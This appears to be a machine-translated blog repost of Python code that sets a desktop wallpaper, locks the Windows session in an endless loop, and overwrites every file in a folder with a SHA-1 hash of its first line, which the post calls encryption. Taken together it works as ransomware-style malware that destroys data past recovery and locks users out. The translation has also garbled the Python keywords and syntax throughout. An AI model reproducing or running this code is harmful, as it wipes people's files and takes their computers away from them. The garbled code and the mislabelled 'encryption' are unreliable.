Pythonは、コンピュータのデスクトップの壁紙、ロック画面、ファイルの暗号化を置き換える実現します

壁紙やロック画面のコードを変更するのpython達成

コントロールウィンドウシステム
のインポートのWin32API、win32conを、win32gui
 PythonパッケージのDLL動的ライブラリ、組み込み開発を呼び出すために使用することができます
から ctypesのインポート *
 睡眠時間パッケージ制御プログラム
のインポートDEFのdesktop_img(bmp_path):
    オープン、WindowsのレジストリをそしてプロパティHKEY_CURRENT_USER設定 
    K = win32api.RegOpenKeyEx(win32con.HKEY_CURRENT_USERを、
                               " コントロールパネル\\デスクトップ" 、0、win32con.KEY_SET_VALUE)
     #1 レジストリHKEY_CURRENT_USERにおける書込み属性値は、0を中心壁紙、ストレッチテーブル2が表し 
    win32api.RegSetValueEx(K、" wapaperStyle "、0、win32con.REG_SZ、" 2 " 
    win32api.RegSetValueEx(K、" Tilewallpaper "、0、win32con.REG_SZ、" 0 " デスクトップリフレッシュ
    win32gui.SystemParametersInfo(win32con.SPI_SETDESKWALLPAPER、bmp_path、win32con.SPIF_SENDWININICHANGE)
desktop_img(" E:\\バックアップを\ \ backgroundDefault.jpg " #のシステムロック
『』『
user32.dllの動的ライブラリのWindowsシステムがロック状態に達し呼び出すための無限ループを使用する
』『』
DEF lock_windows():
     しばらく真:
         下部のAPIコールシステム、動的ライブラリをロードする 
        (USER32 = windll.LoadLibrary "user32.dllの" 
        user32.LockWorkStation()
        time.sleep( 30 
lock_windows()

 

Python実装ファイルの暗号化方式

#の付いたファイルを見つけるために、システムのパッケージ
をインポートし  、OS
 #のファイルの暗号化パッケージを、標準ライブラリ
のインポートhashlib 

DEF LOCK_FILE(ファイル):
     でのパス「 - 」と「-user」は、ユーザのディレクトリに変換 
    パス= たければ、os.path.expantion(ファイル)
 #は、指定したフォルダにファイルまたはフォルダ名のリストが含ま返す
    ための F os.listdir(パス):
        ファイル名を削除するには、スペースを 
        SWD = f.strip()
         印刷(SWD)
        操作文書を、ファイル操作そして暗号化RB +はバイトを読ん 
        オープン(ファイル+と" / " + SWD、" RB + " F AS):
            POD =f.readline()
            暗号化 
            SHAL = hashlib.sha1(POD)
             16進数の文字列値に暗号化されたコンテンツを変換 
            OSV = shal.hexdigest()
        を開く(ファイルと + " / " + SWD、" WB " )B AS:
            GS =バイト(OSV、エンコーディング= "UTF-8 " 
            b.write(GS)プリント" 暗号化が完了した:%S "%のファイル)
LOCK_FILE(" D:\\暗号化されたファイル・ディレクトリ"
            

 

おすすめ

転載: www.cnblogs.com/pychina/p/11322411.html